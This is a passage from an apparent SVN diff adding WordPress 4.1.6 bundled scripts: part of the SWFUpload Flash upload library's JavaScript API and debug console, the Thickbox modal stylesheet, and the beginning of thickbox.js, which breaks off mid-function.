+			"\t", "file_types_description:   ", this.settings.file_types_description, "\n",
+			"\t", "file_size_limit:          ", this.settings.file_size_limit, "\n",
+			"\t", "file_upload_limit:        ", this.settings.file_upload_limit, "\n",
+			"\t", "file_queue_limit:         ", this.settings.file_queue_limit, "\n",
+			"\t", "debug:                    ", this.settings.debug.toString(), "\n",
+
+			"\t", "prevent_swf_caching:      ", this.settings.prevent_swf_caching.toString(), "\n",
+
+			"\t", "button_placeholder_id:    ", this.settings.button_placeholder_id.toString(), "\n",
+			"\t", "button_placeholder:       ", (this.settings.button_placeholder ? "Set" : "Not Set"), "\n",
+			"\t", "button_image_url:         ", this.settings.button_image_url.toString(), "\n",
+			"\t", "button_width:             ", this.settings.button_width.toString(), "\n",
+			"\t", "button_height:            ", this.settings.button_height.toString(), "\n",
+			"\t", "button_text:              ", this.settings.button_text.toString(), "\n",
+			"\t", "button_text_style:        ", this.settings.button_text_style.toString(), "\n",
+			"\t", "button_text_top_padding:  ", this.settings.button_text_top_padding.toString(), "\n",
+			"\t", "button_text_left_padding: ", this.settings.button_text_left_padding.toString(), "\n",
+			"\t", "button_action:            ", this.settings.button_action.toString(), "\n",
+			"\t", "button_disabled:          ", this.settings.button_disabled.toString(), "\n",
+
+			"\t", "custom_settings:          ", this.settings.custom_settings.toString(), "\n",
+			"Event Handlers:\n",
+			"\t", "swfupload_loaded_handler assigned:  ", (typeof this.settings.swfupload_loaded_handler === "function").toString(), "\n",
+			"\t", "file_dialog_start_handler assigned: ", (typeof this.settings.file_dialog_start_handler === "function").toString(), "\n",
+			"\t", "file_queued_handler assigned:       ", (typeof this.settings.file_queued_handler === "function").toString(), "\n",
+			"\t", "file_queue_error_handler assigned:  ", (typeof this.settings.file_queue_error_handler === "function").toString(), "\n",
+			"\t", "upload_start_handler assigned:      ", (typeof this.settings.upload_start_handler === "function").toString(), "\n",
+			"\t", "upload_progress_handler assigned:   ", (typeof this.settings.upload_progress_handler === "function").toString(), "\n",
+			"\t", "upload_error_handler assigned:      ", (typeof this.settings.upload_error_handler === "function").toString(), "\n",
+			"\t", "upload_success_handler assigned:    ", (typeof this.settings.upload_success_handler === "function").toString(), "\n",
+			"\t", "upload_complete_handler assigned:   ", (typeof this.settings.upload_complete_handler === "function").toString(), "\n",
+			"\t", "debug_handler assigned:             ", (typeof this.settings.debug_handler === "function").toString(), "\n"
+		].join("")
+	);
+};
+
+/* Note: addSetting and getSetting are no longer used by SWFUpload but are included
+	the maintain v2 API compatibility
+*/
+// Public: (Deprecated) addSetting adds a setting value. If the value given is undefined or null then the default_value is used.
+SWFUpload.prototype.addSetting = function (name, value, default_value) {
+    if (value == undefined) {
+        return (this.settings[name] = default_value);
+    } else {
+        return (this.settings[name] = value);
+	}
+};
+
+// Public: (Deprecated) getSetting gets a setting. Returns an empty string if the setting was not found.
+SWFUpload.prototype.getSetting = function (name) {
+    if (this.settings[name] != undefined) {
+        return this.settings[name];
+	}
+
+    return "";
+};
+
+
+
+// Private: callFlash handles function calls made to the Flash element.
+// Calls are made with a setTimeout for some functions to work around
+// bugs in the ExternalInterface library.
+SWFUpload.prototype.callFlash = function (functionName, argumentArray) {
+	argumentArray = argumentArray || [];
+	
+	var movieElement = this.getMovieElement();
+	var returnValue, returnString;
+
+	// Flash's method if calling ExternalInterface methods (code adapted from MooTools).
+	try {
+		returnString = movieElement.CallFunction('<invoke name="' + functionName + '" returntype="javascript">' + __flash__argumentsToXML(argumentArray, 0) + '</invoke>');
+		returnValue = eval(returnString);
+	} catch (ex) {
+		throw "Call to " + functionName + " failed";
+	}
+	
+	// Unescape file post param values
+	if (returnValue != undefined && typeof returnValue.post === "object") {
+		returnValue = this.unescapeFilePostParams(returnValue);
+	}
+
+	return returnValue;
+};
+
+/* *****************************
+	-- Flash control methods --
+	Your UI should use these
+	to operate SWFUpload
+   ***************************** */
+
+// WARNING: this function does not work in Flash Player 10
+// Public: selectFile causes a File Selection Dialog window to appear.  This
+// dialog only allows 1 file to be selected.
+SWFUpload.prototype.selectFile = function () {
+	this.callFlash("SelectFile");
+};
+
+// WARNING: this function does not work in Flash Player 10
+// Public: selectFiles causes a File Selection Dialog window to appear/ This
+// dialog allows the user to select any number of files
+// Flash Bug Warning: Flash limits the number of selectable files based on the combined length of the file names.
+// If the selection name length is too long the dialog will fail in an unpredictable manner.  There is no work-around
+// for this bug.
+SWFUpload.prototype.selectFiles = function () {
+	this.callFlash("SelectFiles");
+};
+
+
+// Public: startUpload starts uploading the first file in the queue unless
+// the optional parameter 'fileID' specifies the ID 
+SWFUpload.prototype.startUpload = function (fileID) {
+	this.callFlash("StartUpload", [fileID]);
+};
+
+// Public: cancelUpload cancels any queued file.  The fileID parameter may be the file ID or index.
+// If you do not specify a fileID the current uploading file or first file in the queue is cancelled.
+// If you do not want the uploadError event to trigger you can specify false for the triggerErrorEvent parameter.
+SWFUpload.prototype.cancelUpload = function (fileID, triggerErrorEvent) {
+	if (triggerErrorEvent !== false) {
+		triggerErrorEvent = true;
+	}
+	this.callFlash("CancelUpload", [fileID, triggerErrorEvent]);
+};
+
+// Public: stopUpload stops the current upload and requeues the file at the beginning of the queue.
+// If nothing is currently uploading then nothing happens.
+SWFUpload.prototype.stopUpload = function () {
+	this.callFlash("StopUpload");
+};
+
+/* ************************
+ * Settings methods
+ *   These methods change the SWFUpload settings.
+ *   SWFUpload settings should not be changed directly on the settings object
+ *   since many of the settings need to be passed to Flash in order to take
+ *   effect.
+ * *********************** */
+
+// Public: getStats gets the file statistics object.
+SWFUpload.prototype.getStats = function () {
+	return this.callFlash("GetStats");
+};
+
+// Public: setStats changes the SWFUpload statistics.  You shouldn't need to 
+// change the statistics but you can.  Changing the statistics does not
+// affect SWFUpload accept for the successful_uploads count which is used
+// by the upload_limit setting to determine how many files the user may upload.
+SWFUpload.prototype.setStats = function (statsObject) {
+	this.callFlash("SetStats", [statsObject]);
+};
+
+// Public: getFile retrieves a File object by ID or Index.  If the file is
+// not found then 'null' is returned.
+SWFUpload.prototype.getFile = function (fileID) {
+	if (typeof(fileID) === "number") {
+		return this.callFlash("GetFileByIndex", [fileID]);
+	} else {
+		return this.callFlash("GetFile", [fileID]);
+	}
+};
+
+// Public: addFileParam sets a name/value pair that will be posted with the
+// file specified by the Files ID.  If the name already exists then the
+// exiting value will be overwritten.
+SWFUpload.prototype.addFileParam = function (fileID, name, value) {
+	return this.callFlash("AddFileParam", [fileID, name, value]);
+};
+
+// Public: removeFileParam removes a previously set (by addFileParam) name/value
+// pair from the specified file.
+SWFUpload.prototype.removeFileParam = function (fileID, name) {
+	this.callFlash("RemoveFileParam", [fileID, name]);
+};
+
+// Public: setUploadUrl changes the upload_url setting.
+SWFUpload.prototype.setUploadURL = function (url) {
+	this.settings.upload_url = url.toString();
+	this.callFlash("SetUploadURL", [url]);
+};
+
+// Public: setPostParams changes the post_params setting
+SWFUpload.prototype.setPostParams = function (paramsObject) {
+	this.settings.post_params = paramsObject;
+	this.callFlash("SetPostParams", [paramsObject]);
+};
+
+// Public: addPostParam adds post name/value pair.  Each name can have only one value.
+SWFUpload.prototype.addPostParam = function (name, value) {
+	this.settings.post_params[name] = value;
+	this.callFlash("SetPostParams", [this.settings.post_params]);
+};
+
+// Public: removePostParam deletes post name/value pair.
+SWFUpload.prototype.removePostParam = function (name) {
+	delete this.settings.post_params[name];
+	this.callFlash("SetPostParams", [this.settings.post_params]);
+};
+
+// Public: setFileTypes changes the file_types setting and the file_types_description setting
+SWFUpload.prototype.setFileTypes = function (types, description) {
+	this.settings.file_types = types;
+	this.settings.file_types_description = description;
+	this.callFlash("SetFileTypes", [types, description]);
+};
+
+// Public: setFileSizeLimit changes the file_size_limit setting
+SWFUpload.prototype.setFileSizeLimit = function (fileSizeLimit) {
+	this.settings.file_size_limit = fileSizeLimit;
+	this.callFlash("SetFileSizeLimit", [fileSizeLimit]);
+};
+
+// Public: setFileUploadLimit changes the file_upload_limit setting
+SWFUpload.prototype.setFileUploadLimit = function (fileUploadLimit) {
+	this.settings.file_upload_limit = fileUploadLimit;
+	this.callFlash("SetFileUploadLimit", [fileUploadLimit]);
+};
+
+// Public: setFileQueueLimit changes the file_queue_limit setting
+SWFUpload.prototype.setFileQueueLimit = function (fileQueueLimit) {
+	this.settings.file_queue_limit = fileQueueLimit;
+	this.callFlash("SetFileQueueLimit", [fileQueueLimit]);
+};
+
+// Public: setFilePostName changes the file_post_name setting
+SWFUpload.prototype.setFilePostName = function (filePostName) {
+	this.settings.file_post_name = filePostName;
+	this.callFlash("SetFilePostName", [filePostName]);
+};
+
+// Public: setUseQueryString changes the use_query_string setting
+SWFUpload.prototype.setUseQueryString = function (useQueryString) {
+	this.settings.use_query_string = useQueryString;
+	this.callFlash("SetUseQueryString", [useQueryString]);
+};
+
+// Public: setRequeueOnError changes the requeue_on_error setting
+SWFUpload.prototype.setRequeueOnError = function (requeueOnError) {
+	this.settings.requeue_on_error = requeueOnError;
+	this.callFlash("SetRequeueOnError", [requeueOnError]);
+};
+
+// Public: setHTTPSuccess changes the http_success setting
+SWFUpload.prototype.setHTTPSuccess = function (http_status_codes) {
+	if (typeof http_status_codes === "string") {
+		http_status_codes = http_status_codes.replace(" ", "").split(",");
+	}
+	
+	this.settings.http_success = http_status_codes;
+	this.callFlash("SetHTTPSuccess", [http_status_codes]);
+};
+
+// Public: setHTTPSuccess changes the http_success setting
+SWFUpload.prototype.setAssumeSuccessTimeout = function (timeout_seconds) {
+	this.settings.assume_success_timeout = timeout_seconds;
+	this.callFlash("SetAssumeSuccessTimeout", [timeout_seconds]);
+};
+
+// Public: setDebugEnabled changes the debug_enabled setting
+SWFUpload.prototype.setDebugEnabled = function (debugEnabled) {
+	this.settings.debug_enabled = debugEnabled;
+	this.callFlash("SetDebugEnabled", [debugEnabled]);
+};
+
+// Public: setButtonImageURL loads a button image sprite
+SWFUpload.prototype.setButtonImageURL = function (buttonImageURL) {
+	if (buttonImageURL == undefined) {
+		buttonImageURL = "";
+	}
+	
+	this.settings.button_image_url = buttonImageURL;
+	this.callFlash("SetButtonImageURL", [buttonImageURL]);
+};
+
+// Public: setButtonDimensions resizes the Flash Movie and button
+SWFUpload.prototype.setButtonDimensions = function (width, height) {
+	this.settings.button_width = width;
+	this.settings.button_height = height;
+	
+	var movie = this.getMovieElement();
+	if (movie != undefined) {
+		movie.style.width = width + "px";
+		movie.style.height = height + "px";
+	}
+	
+	this.callFlash("SetButtonDimensions", [width, height]);
+};
+// Public: setButtonText Changes the text overlaid on the button
+SWFUpload.prototype.setButtonText = function (html) {
+	this.settings.button_text = html;
+	this.callFlash("SetButtonText", [html]);
+};
+// Public: setButtonTextPadding changes the top and left padding of the text overlay
+SWFUpload.prototype.setButtonTextPadding = function (left, top) {
+	this.settings.button_text_top_padding = top;
+	this.settings.button_text_left_padding = left;
+	this.callFlash("SetButtonTextPadding", [left, top]);
+};
+
+// Public: setButtonTextStyle changes the CSS used to style the HTML/Text overlaid on the button
+SWFUpload.prototype.setButtonTextStyle = function (css) {
+	this.settings.button_text_style = css;
+	this.callFlash("SetButtonTextStyle", [css]);
+};
+// Public: setButtonDisabled disables/enables the button
+SWFUpload.prototype.setButtonDisabled = function (isDisabled) {
+	this.settings.button_disabled = isDisabled;
+	this.callFlash("SetButtonDisabled", [isDisabled]);
+};
+// Public: setButtonAction sets the action that occurs when the button is clicked
+SWFUpload.prototype.setButtonAction = function (buttonAction) {
+	this.settings.button_action = buttonAction;
+	this.callFlash("SetButtonAction", [buttonAction]);
+};
+
+// Public: setButtonCursor changes the mouse cursor displayed when hovering over the button
+SWFUpload.prototype.setButtonCursor = function (cursor) {
+	this.settings.button_cursor = cursor;
+	this.callFlash("SetButtonCursor", [cursor]);
+};
+
+/* *******************************
+	Flash Event Interfaces
+	These functions are used by Flash to trigger the various
+	events.
+	
+	All these functions a Private.
+	
+	Because the ExternalInterface library is buggy the event calls
+	are added to a queue and the queue then executed by a setTimeout.
+	This ensures that events are executed in a determinate order and that
+	the ExternalInterface bugs are avoided.
+******************************* */
+
+SWFUpload.prototype.queueEvent = function (handlerName, argumentArray) {
+	// Warning: Don't call this.debug inside here or you'll create an infinite loop
+	
+	if (argumentArray == undefined) {
+		argumentArray = [];
+	} else if (!(argumentArray instanceof Array)) {
+		argumentArray = [argumentArray];
+	}
+	
+	var self = this;
+	if (typeof this.settings[handlerName] === "function") {
+		// Queue the event
+		this.eventQueue.push(function () {
+			this.settings[handlerName].apply(this, argumentArray);
+		});
+		
+		// Execute the next queued event
+		setTimeout(function () {
+			self.executeNextEvent();
+		}, 0);
+		
+	} else if (this.settings[handlerName] !== null) {
+		throw "Event handler " + handlerName + " is unknown or is not a function";
+	}
+};
+
+// Private: Causes the next event in the queue to be executed.  Since events are queued using a setTimeout
+// we must queue them in order to garentee that they are executed in order.
+SWFUpload.prototype.executeNextEvent = function () {
+	// Warning: Don't call this.debug inside here or you'll create an infinite loop
+
+	var  f = this.eventQueue ? this.eventQueue.shift() : null;
+	if (typeof(f) === "function") {
+		f.apply(this);
+	}
+};
+
+// Private: unescapeFileParams is part of a workaround for a flash bug where objects passed through ExternalInterface cannot have
+// properties that contain characters that are not valid for JavaScript identifiers. To work around this
+// the Flash Component escapes the parameter names and we must unescape again before passing them along.
+SWFUpload.prototype.unescapeFilePostParams = function (file) {
+	var reg = /[$]([0-9a-f]{4})/i;
+	var unescapedPost = {};
+	var uk;
+
+	if (file != undefined) {
+		for (var k in file.post) {
+			if (file.post.hasOwnProperty(k)) {
+				uk = k;
+				var match;
+				while ((match = reg.exec(uk)) !== null) {
+					uk = uk.replace(match[0], String.fromCharCode(parseInt("0x" + match[1], 16)));
+				}
+				unescapedPost[uk] = file.post[k];
+			}
+		}
+
+		file.post = unescapedPost;
+	}
+
+	return file;
+};
+
+// Private: Called by Flash to see if JS can call in to Flash (test if External Interface is working)
+SWFUpload.prototype.testExternalInterface = function () {
+	try {
+		return this.callFlash("TestExternalInterface");
+	} catch (ex) {
+		return false;
+	}
+};
+
+// Private: This event is called by Flash when it has finished loading. Don't modify this.
+// Use the swfupload_loaded_handler event setting to execute custom code when SWFUpload has loaded.
+SWFUpload.prototype.flashReady = function () {
+	// Check that the movie element is loaded correctly with its ExternalInterface methods defined
+	var movieElement = this.getMovieElement();
+
+	if (!movieElement) {
+		this.debug("Flash called back ready but the flash movie can't be found.");
+		return;
+	}
+
+	this.cleanUp(movieElement);
+	
+	this.queueEvent("swfupload_loaded_handler");
+};
+
+// Private: removes Flash added fuctions to the DOM node to prevent memory leaks in IE.
+// This function is called by Flash each time the ExternalInterface functions are created.
+SWFUpload.prototype.cleanUp = function (movieElement) {
+	// Pro-actively unhook all the Flash functions
+	try {
+		if (this.movieElement && typeof(movieElement.CallFunction) === "unknown") { // We only want to do this in IE
+			this.debug("Removing Flash functions hooks (this should only run in IE and should prevent memory leaks)");
+			for (var key in movieElement) {
+				try {
+					if (typeof(movieElement[key]) === "function") {
+						movieElement[key] = null;
+					}
+				} catch (ex) {
+				}
+			}
+		}
+	} catch (ex1) {
+	
+	}
+
+	// Fix Flashes own cleanup code so if the SWFMovie was removed from the page
+	// it doesn't display errors.
+	window["__flash__removeCallback"] = function (instance, name) {
+		try {
+			if (instance) {
+				instance[name] = null;
+			}
+		} catch (flashEx) {
+		
+		}
+	};
+
+};
+
+
+/* This is a chance to do something before the browse window opens */
+SWFUpload.prototype.fileDialogStart = function () {
+	this.queueEvent("file_dialog_start_handler");
+};
+
+
+/* Called when a file is successfully added to the queue. */
+SWFUpload.prototype.fileQueued = function (file) {
+	file = this.unescapeFilePostParams(file);
+	this.queueEvent("file_queued_handler", file);
+};
+
+
+/* Handle errors that occur when an attempt to queue a file fails. */
+SWFUpload.prototype.fileQueueError = function (file, errorCode, message) {
+	file = this.unescapeFilePostParams(file);
+	this.queueEvent("file_queue_error_handler", [file, errorCode, message]);
+};
+
+/* Called after the file dialog has closed and the selected files have been queued.
+	You could call startUpload here if you want the queued files to begin uploading immediately. */
+SWFUpload.prototype.fileDialogComplete = function (numFilesSelected, numFilesQueued, numFilesInQueue) {
+	this.queueEvent("file_dialog_complete_handler", [numFilesSelected, numFilesQueued, numFilesInQueue]);
+};
+
+SWFUpload.prototype.uploadStart = function (file) {
+	file = this.unescapeFilePostParams(file);
+	this.queueEvent("return_upload_start_handler", file);
+};
+
+SWFUpload.prototype.returnUploadStart = function (file) {
+	var returnValue;
+	if (typeof this.settings.upload_start_handler === "function") {
+		file = this.unescapeFilePostParams(file);
+		returnValue = this.settings.upload_start_handler.call(this, file);
+	} else if (this.settings.upload_start_handler != undefined) {
+		throw "upload_start_handler must be a function";
+	}
+
+	// Convert undefined to true so if nothing is returned from the upload_start_handler it is
+	// interpretted as 'true'.
+	if (returnValue === undefined) {
+		returnValue = true;
+	}
+	
+	returnValue = !!returnValue;
+	
+	this.callFlash("ReturnUploadStart", [returnValue]);
+};
+
+
+
+SWFUpload.prototype.uploadProgress = function (file, bytesComplete, bytesTotal) {
+	file = this.unescapeFilePostParams(file);
+	this.queueEvent("upload_progress_handler", [file, bytesComplete, bytesTotal]);
+};
+
+SWFUpload.prototype.uploadError = function (file, errorCode, message) {
+	file = this.unescapeFilePostParams(file);
+	this.queueEvent("upload_error_handler", [file, errorCode, message]);
+};
+
+SWFUpload.prototype.uploadSuccess = function (file, serverData, responseReceived) {
+	file = this.unescapeFilePostParams(file);
+	this.queueEvent("upload_success_handler", [file, serverData, responseReceived]);
+};
+
+SWFUpload.prototype.uploadComplete = function (file) {
+	file = this.unescapeFilePostParams(file);
+	this.queueEvent("upload_complete_handler", file);
+};
+
+/* Called by SWFUpload JavaScript and Flash functions when debug is enabled. By default it writes messages to the
+   internal debug console.  You can override this event and have messages written where you want. */
+SWFUpload.prototype.debug = function (message) {
+	this.queueEvent("debug_handler", message);
+};
+
+
+/* **********************************
+	Debug Console
+	The debug console is a self contained, in page location
+	for debug message to be sent.  The Debug Console adds
+	itself to the body if necessary.
+
+	The console is automatically scrolled as messages appear.
+	
+	If you are using your own debug handler or when you deploy to production and
+	have debug disabled you can remove these functions to reduce the file size
+	and complexity.
+********************************** */
+   
+// Private: debugMessage is the default debug_handler.  If you want to print debug messages
+// call the debug() function.  When overriding the function your own function should
+// check to see if the debug setting is true before outputting debug information.
+SWFUpload.prototype.debugMessage = function (message) {
+	if (this.settings.debug) {
+		var exceptionMessage, exceptionValues = [];
+
+		// Check for an exception object and print it nicely
+		if (typeof message === "object" && typeof message.name === "string" && typeof message.message === "string") {
+			for (var key in message) {
+				if (message.hasOwnProperty(key)) {
+					exceptionValues.push(key + ": " + message[key]);
+				}
+			}
+			exceptionMessage = exceptionValues.join("\n") || "";
+			exceptionValues = exceptionMessage.split("\n");
+			exceptionMessage = "EXCEPTION: " + exceptionValues.join("\nEXCEPTION: ");
+			SWFUpload.Console.writeLine(exceptionMessage);
+		} else {
+			SWFUpload.Console.writeLine(message);
+		}
+	}
+};
+
+SWFUpload.Console = {};
+SWFUpload.Console.writeLine = function (message) {
+	var console, documentForm;
+
+	try {
+		console = document.getElementById("SWFUpload_Console");
+
+		if (!console) {
+			documentForm = document.createElement("form");
+			document.getElementsByTagName("body")[0].appendChild(documentForm);
+
+			console = document.createElement("textarea");
+			console.id = "SWFUpload_Console";
+			console.style.fontFamily = "monospace";
+			console.setAttribute("wrap", "off");
+			console.wrap = "off";
+			console.style.overflow = "auto";
+			console.style.width = "700px";
+			console.style.height = "350px";
+			console.style.margin = "5px";
+			documentForm.appendChild(console);
+		}
+
+		console.value += message + "\n";
+
+		console.scrollTop = console.scrollHeight - console.clientHeight;
+	} catch (ex) {
+		alert("Exception: " + ex.name + " Message: " + ex.message);
+	}
+};
Index: /tags/4.1.6/src/wp-includes/js/thickbox/thickbox.css
===================================================================
--- /tags/4.1.6/src/wp-includes/js/thickbox/thickbox.css	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/thickbox/thickbox.css	(revision 33402)
@@ -0,0 +1,138 @@
+#TB_overlay {
+	background: #000;
+	opacity: 0.7;
+	filter: alpha(opacity=70);
+	position: fixed;
+	top: 0;
+	right: 0;
+	bottom: 0;
+	left: 0;
+	z-index: 100050; /* Above DFW. */
+}
+
+#TB_window {
+	position: fixed;
+	background: #fff;
+	z-index: 100050; /* Above DFW. */
+	visibility: hidden;
+	text-align: left;
+	top: 50%;
+	left: 50%;
+	-webkit-box-shadow: 0 3px 6px rgba( 0, 0, 0, 0.3 );
+	box-shadow: 0 3px 6px rgba( 0, 0, 0, 0.3 );
+}
+
+#TB_window img#TB_Image {
+	display: block;
+	margin: 15px 0 0 15px;
+	border-right: 1px solid #ccc;
+	border-bottom: 1px solid #ccc;
+	border-top: 1px solid #666;
+	border-left: 1px solid #666;
+}
+
+#TB_caption{
+	height: 25px;
+	padding: 7px 30px 10px 25px;
+	float: left;
+}
+
+#TB_closeWindow {
+	height: 25px;
+	padding: 11px 25px 10px 0;
+	float: right;
+}
+
+#TB_closeAjaxWindow {
+	float: right;
+}
+
+#TB_closeAjaxWindow a {
+	text-decoration: none;
+}
+
+#TB_ajaxWindowTitle {
+	float: left;
+	font-weight: 600;
+	line-height: 29px;
+	overflow: hidden; 
+	padding: 0 29px 0 10px;
+	text-overflow: ellipsis;
+	white-space: nowrap;
+	width: calc( 100% - 39px );
+}
+
+#TB_title {
+	background: #fcfcfc;
+	border-bottom: 1px solid #dfdfdf;
+	height: 29px;
+}
+
+#TB_ajaxContent {
+	clear: both;
+	padding: 2px 15px 15px 15px;
+	overflow: auto;
+	text-align: left;
+	line-height: 1.4em;
+}
+
+#TB_ajaxContent.TB_modal {
+	padding: 15px;
+}
+
+#TB_ajaxContent p {
+	padding: 5px 0px 5px 0px;
+}
+
+#TB_load {
+	position: fixed;
+	display: none;
+	z-index: 103;
+	top: 50%;
+	left: 50%;
+	background-color: #E8E8E8;
+	border: 1px solid #555;
+	margin: -45px 0 0 -125px;
+	padding: 40px 15px 15px;
+}
+
+#TB_HideSelect {
+	z-index: 99;
+	position: fixed;
+	top: 0;
+	left: 0;
+	background-color: #fff;
+	border: none;
+	filter: alpha(opacity=0);
+	opacity: 0;
+	height: 100%;
+	width: 100%;
+}
+
+#TB_iframeContent {
+	clear: both;
+	border: none;
+}
+
+.tb-close-icon {
+	color: #666;
+	text-align: center;
+	line-height: 29px;
+	width: 29px;
+	height: 29px;
+	position: absolute;
+	top: 0;
+	right: 0;
+}
+
+.tb-close-icon:before {
+	content: '\f158';
+	font: normal 20px/29px 'dashicons';
+	speak: none;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+}
+
+.tb-close-icon:hover {
+	color: #2ea2cc;
+}
Index: /tags/4.1.6/src/wp-includes/js/thickbox/thickbox.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/thickbox/thickbox.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/thickbox/thickbox.js	(revision 33402)
@@ -0,0 +1,314 @@
+/*
+ * Thickbox 3.1 - One Box To Rule Them All.
+ * By Cody Lindley (http://www.codylindley.com)
+ * Copyright (c) 2007 cody lindley
+ * Licensed under the MIT License: http://www.opensource.org/licenses/mit-license.php
+*/
+
+if ( typeof tb_pathToImage != 'string' ) {
+	var tb_pathToImage = thickboxL10n.loadingAnimation;
+}
+
+/*!!!!!!!!!!!!!!!!! edit below this line at your own risk !!!!!!!!!!!!!!!!!!!!!!!*/
+
+//on page load call tb_init
+jQuery(document).ready(function(){
+	tb_init('a.thickbox, area.thickbox, input.thickbox');//pass where to apply thickbox
+	imgLoader = new Image();// preload image
+	imgLoader.src = tb_pathToImage;
+});
+
+//add thickbox to href & area elements that have a class of .thickbox
+function tb_init(domChunk){
+	jQuery('body').on('click', domChunk, tb_click);
+}
+
+function tb_click(){
+	var t = this.title || this.name || null;
+	var a = this.href || this.alt;
+	var g = this.rel || false;
+	tb_show(t,a,g);
+	this.blur();
+	return false;
+}
+
+function tb_show(caption, url, imageGroup) {//function called when the user clicks on a thickbox link
+
+	try {
+		if (typeof document.body.style.maxHeight === "undefined") {//if IE 6
+			jQuery("body","html").css({height: "100%", width: "100%"});
+			jQuery("html").css("overflow","hidden");
+			if (document.getElementById("TB_HideSelect") === null) {//iframe to hide select elements in ie6
+				jQuery("body").append("<iframe id='TB_HideSelect'>"+thickboxL10n.noiframes+"</iframe><div id='TB_overlay'></div><div id='TB_window'></div>");
+				jQuery("#TB_overlay").click(tb_remove);
+			}
+		}else{//all others
+			if(document.getElementById("TB_overlay") === null){
+				jQuery("body").append("<div id='TB_overlay'></div><div id='TB_window'></div>");
+				jQuery("#TB_overlay").click(tb_remove);
+				jQuery( 'body' ).addClass( 'modal-open' );
+			}
+		}
+
+		if(tb_detectMacXFF()){
+			jQuery("#TB_overlay").addClass("TB_overlayMacFFBGHack");//use png overlay so hide flash
+		}else{
+			jQuery("#TB_overlay").addClass("TB_overlayBG");//use background and opacity
+		}
+
+		if(caption===null){caption="";}
+		jQuery("body").append("<div id='TB_load'><img src='"+imgLoader.src+"' width='208' /></div>");//add loader to the page
+		jQuery('#TB_load').show();//show loader
+
+		var baseURL;
+	   if(url.indexOf("?")!==-1){ //ff there is a query string involved
+			baseURL = url.substr(0, url.indexOf("?"));
+	   }else{
+	   		baseURL = url;
+	   }
+
+	   var urlString = /\.jpg$|\.jpeg$|\.png$|\.gif$|\.bmp$/;
+	   var urlType = baseURL.toLowerCase().match(urlString);
+
+		if(urlType == '.jpg' || urlType == '.jpeg' || urlType == '.png' || urlType == '.gif' || urlType == '.bmp'){//code to show images
+
+			TB_PrevCaption = "";
+			TB_PrevURL = "";
+			TB_PrevHTML = "";
+			TB_NextCaption = "";
+			TB_NextURL = "";
+			TB_NextHTML = "";
+			TB_imageCount = "";
+			TB_FoundURL = false;
+			if(imageGroup){
+				TB_TempArray = jQuery("a[rel="+imageGroup+"]").get();
+				for (TB_Counter = 0; ((TB_Counter < TB_TempArray.length) && (TB_NextHTML === "")); TB_Counter++) {
+					var urlTypeTemp = TB_TempArray[TB_Counter].href.toLowerCase().match(urlString);
+						if (!(TB_TempArray[TB_Counter].href == url)) {
+							if (TB_FoundURL) {
+								TB_NextCaption = TB_TempArray[TB_Counter].title;
+								TB_NextURL = TB_TempArray[TB_Counter].href;
+								TB_NextHTML = "<span id='TB_next'>&nbsp;&nbsp;<a href='#'>"+thickboxL10n.next+"</a></span>";
+							} else {
+								TB_PrevCaption = TB_TempArray[TB_Counter].title;
+								TB_PrevURL = TB_TempArray[TB_Counter].href;
+								TB_PrevHTML = "<span id='TB_prev'>&nbsp;&nbsp;<a href='#'>"+thickboxL10n.prev+"</a></span>";
+							}
+						} else {
+							TB_FoundURL = true;
+							TB_imageCount = thickboxL10n.image + ' ' + (TB_Counter + 1) + ' ' + thickboxL10n.of + ' ' + (TB_TempArray.length);
+						}
+				}
+			}
+
+			imgPreloader = new Image();
+			imgPreloader.onload = function(){
+			imgPreloader.onload = null;
+
+			// Resizing large images - original by Christian Montoya edited by me.
+			var pagesize = tb_getPageSize();
+			var x = pagesize[0] - 150;
+			var y = pagesize[1] - 150;
+			var imageWidth = imgPreloader.width;
+			var imageHeight = imgPreloader.height;
+			if (imageWidth > x) {
+				imageHeight = imageHeight * (x / imageWidth);
+				imageWidth = x;
+				if (imageHeight > y) {
+					imageWidth = imageWidth * (y / imageHeight);
+					imageHeight = y;
+				}
+			} else if (imageHeight > y) {
+				imageWidth = imageWidth * (y / imageHeight);
+				imageHeight = y;
+				if (imageWidth > x) {
+					imageHeight = imageHeight * (x / imageWidth);
+					imageWidth = x;
+				}
+			}
+			// End Resizing
+
+			TB_WIDTH = imageWidth + 30;
+			TB_HEIGHT = imageHeight + 60;
+			jQuery("#TB_window").append("<a href='' id='TB_ImageOff'><span class='screen-reader-text'>"+thickboxL10n.close+"</span><img id='TB_Image' src='"+url+"' width='"+imageWidth+"' height='"+imageHeight+"' alt='"+caption+"'/></a>" + "<div id='TB_caption'>"+caption+"<div id='TB_secondLine'>" + TB_imageCount + TB_PrevHTML + TB_NextHTML + "</div></div><div id='TB_closeWindow'><a href='#' id='TB_closeWindowButton'><span class='screen-reader-text'>"+thickboxL10n.close+"</span><div class='tb-close-icon'></div></a></div>");
+
+			jQuery("#TB_closeWindowButton").click(tb_remove);
+
+			if (!(TB_PrevHTML === "")) {
+				function goPrev(){
+					if(jQuery(document).unbind("click",goPrev)){jQuery(document).unbind("click",goPrev);}
+					jQuery("#TB_window").remove();
+					jQuery("body").append("<div id='TB_window'></div>");
+					tb_show(TB_PrevCaption, TB_PrevURL, imageGroup);
+					return false;
+				}
+				jQuery("#TB_prev").click(goPrev);
+			}
+
+			if (!(TB_NextHTML === "")) {
+				function goNext(){
+					jQuery("#TB_window").remove();
+					jQuery("body").append("<div id='TB_window'></div>");
+					tb_show(TB_NextCaption, TB_NextURL, imageGroup);
+					return false;
+				}
+				jQuery("#TB_next").click(goNext);
+
+			}
+
+			jQuery(document).bind('keydown.thickbox', function(e){
+				if ( e.which == 27 ){ // close
+					tb_remove();
+
+				} else if ( e.which == 190 ){ // display previous image
+					if(!(TB_NextHTML == "")){
+						jQuery(document).unbind('thickbox');
+						goNext();
+					}
+				} else if ( e.which == 188 ){ // display next image
+					if(!(TB_PrevHTML == "")){
+						jQuery(document).unbind('thickbox');
+						goPrev();
+					}
+				}
+				return false;
+			});
+
+			tb_position();
+			jQuery("#TB_load").remove();
+			jQuery("#TB_ImageOff").click(tb_remove);
+			jQuery("#TB_window").css({'visibility':'visible'}); //for safari using css instead of show
+			};
+
+			imgPreloader.src = url;
+		}else{//code to show html
+
+			var queryString = url.replace(/^[^\?]+\??/,'');
+			var params = tb_parseQuery( queryString );
+
